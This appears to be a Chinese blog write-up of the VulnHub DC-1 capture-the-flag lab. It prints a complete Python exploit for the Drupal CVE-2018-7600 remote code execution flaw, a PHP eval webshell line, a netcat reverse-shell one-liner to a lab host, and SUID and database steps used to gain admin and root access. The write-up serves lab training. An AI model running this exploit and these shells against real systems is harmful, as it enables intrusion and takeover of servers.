DC-1靶场(CVE-2018-7600)

1.下载DC-1靶场:

DC-1下载地址icon-default.png?t=L9C2https://download.vulnhub.com/dc/DC-1.zip2.解压打开靶场,导入虚拟机网络模式改为桥接模式,打开虚拟机。

3.浏览器访问80端口,其实也可以先用nmap扫描一下端口。

是一个Drupal CMS。

4.先挂扫描器走一波。

发现存在CVE-2018-7600的Drupal的一个RCE,并且小于7的版本都可以,这个应该就是这个靶场的主要漏洞了。

poc如下:

 

 漏洞存在,验证 poc:

#!/usr/bin/env python3

"""
Written by Christian Mehlmauer
  https://firefart.at/
  https://twitter.com/_FireFart_
  https://github.com/FireFart
This script can be obtained from:
  https://github.com/FireFart/CVE-2018-7600
Requirements:
  - python3
  - python requests (pip install requests)
Usage:
  - Install dependencies
  - modify the HOST variable in the script
  - run the code
  - win
"""
#CVE-2018-7600 exploit
import requests
import re

HOST="http://192.168.0.119/"
order = input('输入执行的命令:')
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':order, 'name[#type]':'markup'}
#print(get_params)
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)

m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.post(HOST, data=post_params, params=get_params)
    print(r.text)

可以写入webshell或者下载webshell。

ehco "<?php @eval($_POST["cmd"]);?>" > 2.php

 但是好像$符号和post被过滤了,但是phpinfo可以写入,应该是漏洞的问题。

 先反弹shell再下载webshell可行。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.8 8888 > /tmp/f

 

连接ok,之后看到第一个flag1.txt,然后提示下一个flag在配置文件中,配置文件在/var/www/sites/default/settings.php

 

 在/home目录看到了flag4,查看

l

 提示要获取root权限在下一个flag,那就提权呗,提权的方式很多,这次用SUID,可以在执行命令的时间获取root权限。

SUID提权方式大全icon-default.png?t=L9C2https://gtfobins.github.io/

find / -perm -u=s -type f 2>/dev/null

 

使用find命令提权。

 

最后一个flag到手。

第三个flag在管理员页面,在设置页面有mysql的密码:

连接一下,并且生成一下admin的hash值并写入mysql。

 

 

 

登入管理员并且发现最后一个flag3

 

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值